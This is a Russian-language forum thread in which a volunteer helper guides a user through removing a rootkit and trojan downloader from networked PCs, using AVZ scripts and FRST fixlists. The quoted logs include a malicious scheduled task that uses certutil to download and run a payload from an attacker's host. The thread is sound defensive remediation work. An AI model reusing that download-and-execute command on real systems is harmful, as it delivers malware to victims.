Исчезают exe файлы разных программ на разных пк в сети [Rootkit.Win64.Agent.ayv, Trojan-Downloader.Win32.Bandit.vr ]

**Алексей_Азов** · 01.08.2018, 17:14

Это один из ПК из общей сети. Везде один и тот же вирус, который удаляет файлы *.exe. Где удалил файл для просмотра пдф файлов, где-то ПО для просмотра камер, где-то менеджер лицензий 1с ключа алладин. Где-то стоит каспер где-то нет...он ничего не находит...заранее спасибо за помощь!

Надоело быть жертвой? Стань профи по информационной безопасности, получай самую свежую информацию об угрозах и средствах защиты от ведущего российского аналитического центра Anti-Malware.ru:

**Info_bot** · 01.08.2018, 17:15

Уважаемый(ая) Алексей_Азов, спасибо за обращение на наш форум!

Помощь при заражении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы, в самое ближайшее время, ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в правилах оформления запроса о помощи.

Информация

Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом Помогите+.

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста поддержите проект.

**thyrex** · 01.08.2018, 17:35

Выполните скрипт в AVZ из папки Autologger

Код:

begin
ShowMessage('Внимание! Перед выполнением скрипта AVZ автоматически закроет все сетевые подключения.' + #13#10 + 'После перезагрузки компьютера подключения к сети будут восстановлены в автоматическом режиме.');
ExecuteFile('net.exe', 'stop tcpip /y', 0, 15000, true);
if not IsWOW64
 then
  begin
   SearchRootkit(true, true);
   SetAVZGuardStatus(True);
  end;
ExecuteFile('schtasks.exe', '/delete /TN "csrss" /F', 0, 15000, true);
ExecuteFile('schtasks.exe', '/delete /TN "lsa64" /F', 0, 15000, true);
ExecuteFile('schtasks.exe', '/delete /TN "MRT" /F', 0, 15000, true);
ExecuteFile('schtasks.exe', '/delete /TN "ScheduledUpdate" /F', 0, 15000, true);
 QuarantineFile('C:\Users\User\AppData\Local\Temp\csrss\scheduled.exe','');
 SetServiceStart('WinDefender', 4);
 SetServiceStart('Winmon', 4);
 SetServiceStart('WinmonFS', 4);
 SetServiceStart('WinmonProcessMonitor', 4);
 TerminateProcessByName('c:\users\user\appdata\roaming\epicnet inc\cloudnet\cloudnet.exe');
 TerminateProcessByName('c:\windows\rss\csrss.exe');
 TerminateProcessByName('c:\users\user\appdata\local\temp\csrss\lsa64.exe');
 TerminateProcessByName('c:\users\user\appdata\local\temp\csrss\mrt.exe');
 TerminateProcessByName('c:\windows\windefender.exe');
 QuarantineFile('C:\Windows\System32\drivers\WinmonProcessMonitor.sys','');
 QuarantineFile('C:\Windows\System32\drivers\WinmonFS.sys','');
 QuarantineFile('C:\Windows\System32\drivers\Winmon.sys','');
 QuarantineFile('c:\windows\windefender.exe','');
 QuarantineFile('c:\users\user\appdata\local\temp\csrss\mrt.exe','');
 QuarantineFile('c:\users\user\appdata\local\temp\csrss\lsa64.exe','');
 QuarantineFile('c:\windows\rss\csrss.exe','');
 QuarantineFile('c:\users\user\appdata\roaming\epicnet inc\cloudnet\cloudnet.exe','');
 DeleteFile('c:\users\user\appdata\roaming\epicnet inc\cloudnet\cloudnet.exe','32');
 DeleteFile('c:\windows\rss\csrss.exe','32');
 DeleteFile('c:\users\user\appdata\local\temp\csrss\lsa64.exe','32');
 DeleteFile('c:\users\user\appdata\local\temp\csrss\mrt.exe','32');
 DeleteFile('c:\windows\windefender.exe','32');
 DeleteFile('C:\Windows\System32\drivers\Winmon.sys','32');
 DeleteFile('C:\Windows\System32\drivers\WinmonFS.sys','32');
 DeleteFile('C:\Windows\System32\drivers\WinmonProcessMonitor.sys','32');
 DeleteFile('C:\Users\User\AppData\Local\Temp\csrss\scheduled.exe','32');
 DeleteService('WinmonProcessMonitor');
 DeleteService('WinmonFS');
 DeleteService('Winmon');
 DeleteService('WinDefender');
 RegKeyParamDel('HKEY_CURRENT_USER','Software\Microsoft\Windows\CurrentVersion\Run','PatientShadow');
 RegKeyParamDel('HKEY_CURRENT_USER','Software\Microsoft\Windows\CurrentVersion\Run','CloudNet');
BC_ImportAll;
ExecuteSysClean;
BC_Activate;
ExecuteREpair(10); 
RebootWindows(false);
end.

Обратите внимание: будет выполнена перезагрузка компьютера.

Выполните скрипт в AVZ

Код:

begin
CreateQurantineArchive('c:\quarantine.zip');
end.

c:\quarantine.zip пришлите по красной ссылке Прислать запрошенный карантин над первым сообщением темы.

Скачайте ClearLNK и сохраните архив с утилитой на Рабочем столе.
1. Распакуйте архив с утилитой в отдельную папку.
2. Перенесите Check_Browsers_LNK.log из папки Autologger на ClearLNK как показано на рисунке

3. Отчет о работе ClearLNK-<Дата>.log будет сохранен в папке LOG.
4. Прикрепите этот отчет к своему следующему сообщению.

Пожалуйста, ЕЩЕ РАЗ запустите Autologger, прикрепите к следующему сообщению НОВЫЕ логи.

**Алексей_Азов** · 02.08.2018, 09:22

После выполнения скрипта и перезагрузки запустился eset антивирус. Выполнил все дальнейшие действия и всё сделал по инструкции. Спасибо.

**thyrex** · 02.08.2018, 09:32

Скачайте Farbar Recovery Scan Tool

и сохраните на Рабочем столе.

Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.

1. Запустите программу двойным щелчком. Когда программа запустится, нажмите Yes для соглашения с предупреждением.
2. Убедитесь, что в окне Optional Scan отмечены List BCD, Driver MD5 и 90 Days Files.

3. Нажмите кнопку Scan.
4. После окончания сканирования будет создан отчет (FRST.txt) в той же папке, откуда была запущена программа.
5. Если программа была запущена в первый раз, также будет создан отчет (Addition.txt).
6. Отчеты, полученные в пунктах 4 и 5, заархивируйте (в один архив) и прикрепите к сообщению.

**Алексей_Азов** · 02.08.2018, 10:06

все сделал, файлы приложил.

**thyrex** · 02.08.2018, 10:09

1. Откройте Блокнот и скопируйте в него приведенный ниже текст

Код:

CreateRestorePoint:
HKU\S-1-5-21-663189659-2337478190-1631429109-1000\...\Run: [PatientShadow] => C:\Windows\rss\csrss.exe [3097600 2018-08-02] () <==== ATTENTION
HKU\S-1-5-21-663189659-2337478190-1631429109-1000\...\Run: [CloudNet] => C:\Users\User\AppData\Roaming\EpicNet Inc\CloudNet\cloudnet.exe [683008 2018-08-02] (EpicNet Inc.) <==== ATTENTION
R2 WinDefender; C:\Windows\windefender.exe [0 ] () <==== ATTENTION (zero byte File/Folder)
R3 Winmon; C:\Windows\System32\drivers\Winmon.sys [0 ] () <==== ATTENTION (zero byte File/Folder)
R3 WinmonFS; C:\Windows\System32\drivers\WinmonFS.sys [0 ] (Windows (R) Win 7 DDK provider) <==== ATTENTION (zero byte File/Folder)
R1 WinmonProcessMonitor; C:\Windows\System32\drivers\WinmonProcessMonitor.sys [36096 2018-07-20] () [File not signed] <==== ATTENTION
2018-08-02 08:51 - 2018-08-02 08:51 - 000003484 _____ C:\Windows\System32\Tasks\ScheduledUpdate
2018-08-02 08:51 - 2018-08-02 08:51 - 000003178 _____ C:\Windows\System32\Tasks\csrss
2018-07-20 15:51 - 2018-08-02 07:48 - 000026688 _____ C:\Users\Все пользователи\appdata.dat
2018-07-20 15:51 - 2018-08-02 07:48 - 000026688 _____ C:\ProgramData\appdata.dat
2018-07-20 15:36 - 2018-07-20 15:36 - 000000000 ____D C:\Users\User\AppData\Roaming\EpicNet Inc
2018-07-20 15:51 - 2018-08-01 17:08 - 000000001 _____ () C:\Users\User\AppData\Roaming\lsa64.log
C:\Windows\rss\csrss.exe
C:\Users\User\AppData\Roaming\EpicNet Inc\CloudNet\cloudnet.exe
Task: {5D544C52-10F3-4307-80F9-990456DDEA9C} - System32\Tasks\csrss => C:\Windows\rss\csrss.exe [2018-08-02] () <==== ATTENTION
Task: {A46BA8F7-C558-46A8-9EE3-093E192AA578} - System32\Tasks\ScheduledUpdate => cmd.exe /C certutil.exe -urlcache -split -f hxxp://newscommer.com/app/app.exe C:\Users\User\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\User\AppData\Local\Temp\csrss\scheduled.exe /31340 <==== ATTENTION
C:\Users\User\AppData\Local\Temp\csrss\scheduled.exe
Reboot:

2. Нажмите Файл – Сохранить как
3. Выберите папку, откуда была запущена утилита Farbar Recovery Scan Tool
4. Укажите Тип файла – Все файлы (*.*)
5. Введите имя файла fixlist.txt и нажмите кнопку Сохранить
6. Запустите FRST, нажмите один раз на кнопку Fix и подождите. Программа создаст лог-файл (Fixlog.txt). Пожалуйста, прикрепите его в следующем сообщении.

Обратите внимание: будет выполнена перезагрузка компьютера.

**Алексей_Азов** · 02.08.2018, 10:33

готово...

**thyrex** · 02.08.2018, 11:18

Что с проблемой?

**Алексей_Азов** · 02.08.2018, 16:42

К сожалению проблема сохраняется...переустановили ПО для просмотра видео, спустя несколько часов исполнительный файл *.exe исчез...
Винда пишет, что ярлык ссылается на не существующую программу.

**thyrex** · 02.08.2018, 16:51

Делайте логи с других машин и прикрепляйте в отдельные темы.

Сделайте лог МВАМ

**Алексей_Азов** · 03.08.2018, 15:43

Снова перестал запускаться eset. Mbam не запускается, что пишет видно на скрине.

**Алексей_Азов** · 03.08.2018, 16:41

Не запускается MBAM. Eset перестал запускаться снова. Скриншот с ошибкой запуска mbam во вложении.

**thyrex** · 04.08.2018, 08:46

Новый лог FRST.txt сделайте

**Алексей_Азов** · 06.08.2018, 12:00

готово...

**thyrex** · 06.08.2018, 12:11

А зачем присылать старый лог, если я просил сделать новый?

**Алексей_Азов** · 06.08.2018, 15:04

переделал...

**thyrex** · 06.08.2018, 16:28

TeamViewer 12 Host сами устанавливали?

CloudNet удалите через Установку программ.

1. Откройте Блокнот и скопируйте в него приведенный ниже текст

Код:

CreateRestorePoint:
HKU\S-1-5-21-663189659-2337478190-1631429109-1000\...\Run: [PatientShadow] => C:\Windows\rss\csrss.exe [3132928 2018-08-06] () <==== ATTENTION
HKU\S-1-5-21-663189659-2337478190-1631429109-1000\...\Run: [CloudNet] => C:\Users\User\AppData\Roaming\EpicNet Inc\CloudNet\cloudnet.exe [683008 2018-08-06] (EpicNet Inc.) <==== ATTENTION
S2 TeamViewer; "C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe" [X]
R2 WinDefender; C:\Windows\windefender.exe [0 ] () <==== ATTENTION (zero byte File/Folder)
R3 Winmon; C:\Windows\System32\drivers\Winmon.sys [0 ] () <==== ATTENTION (zero byte File/Folder)
R3 WinmonFS; C:\Windows\System32\drivers\WinmonFS.sys [0 ] (Windows (R) Win 7 DDK provider) <==== ATTENTION (zero byte File/Folder)
R1 WinmonProcessMonitor; C:\Windows\System32\drivers\WinmonProcessMonitor.sys [36096 2018-07-20] () [File not signed] <==== ATTENTION
2018-08-06 12:30 - 2018-08-06 12:30 - 000000000 ____D C:\Users\User\AppData\Roaming\EpicNet Inc
2018-08-06 12:29 - 2018-08-06 12:29 - 000003484 _____ C:\Windows\System32\Tasks\ScheduledUpdate
2018-08-06 12:29 - 2018-08-06 12:29 - 000003178 _____ C:\Windows\System32\Tasks\csrss
C:\Windows\rss\csrss.exe
C:\Users\User\AppData\Roaming\EpicNet Inc\CloudNet\cloudnet.exe
Task: {3F583F37-E282-463B-AB38-C31FB25AD9CF} - System32\Tasks\csrss => C:\Windows\rss\csrss.exe [2018-08-06] () <==== ATTENTION
Task: {64236FFF-4F8E-4035-AC02-5A57D86353BA} - System32\Tasks\MRT => C:\Users\User\AppData\Local\Temp\csrss\mrt.exe [2018-08-02] () <==== ATTENTION
Task: {BE8FC6A8-C0AE-474F-9F28-78536D06B624} - System32\Tasks\ScheduledUpdate => cmd.exe /C certutil.exe -urlcache -split -f hxxp://newscommer.com/app/app.exe C:\Users\User\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\User\AppData\Local\Temp\csrss\scheduled.exe /31340 <==== ATTENTION
C:\Users\User\AppData\Local\Temp\csrss
Task: {CD1C6A2A-40C8-4D52-88F5-8935A044BEF1} - System32\Tasks\csrss => C:\Windows\rss\csrss.exe [2018-08-06] () <==== ATTENTION
Task: {DB8F8B8A-0AD9-4F17-A334-AD86E82D27C1} - System32\Tasks\ScheduledUpdate => cmd.exe /C certutil.exe -urlcache -split -f hxxp://newscommer.com/app/app.exe C:\Users\User\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\User\AppData\Local\Temp\csrss\scheduled.exe /31340 <==== ATTENTION
Reboot:

2. Нажмите Файл – Сохранить как
3. Выберите папку, откуда была запущена утилита Farbar Recovery Scan Tool
4. Укажите Тип файла – Все файлы (*.*)
5. Введите имя файла fixlist.txt и нажмите кнопку Сохранить
6. Запустите FRST, нажмите один раз на кнопку Fix и подождите. Программа создаст лог-файл (Fixlog.txt). Пожалуйста, прикрепите его в следующем сообщении.

Обратите внимание: будет выполнена перезагрузка компьютера.

**Алексей_Азов** · 06.08.2018, 16:53

Да тим я ставил...во вложении новый лог...

**thyrex** · 06.08.2018, 18:14

Что с проблемой?

Я просил Вас заняться и созданием тем с логами других компьютеров в сети, на которых хозяйничают подобные вирусы. Чего ждете-то?

Исчезают exe файлы разных программ на разных пк в сети [Rootkit.Win64.Agent.ayv, Trojan-Downloader.Win32.Bandit.vr ] (заявка № 219813)

Опции темы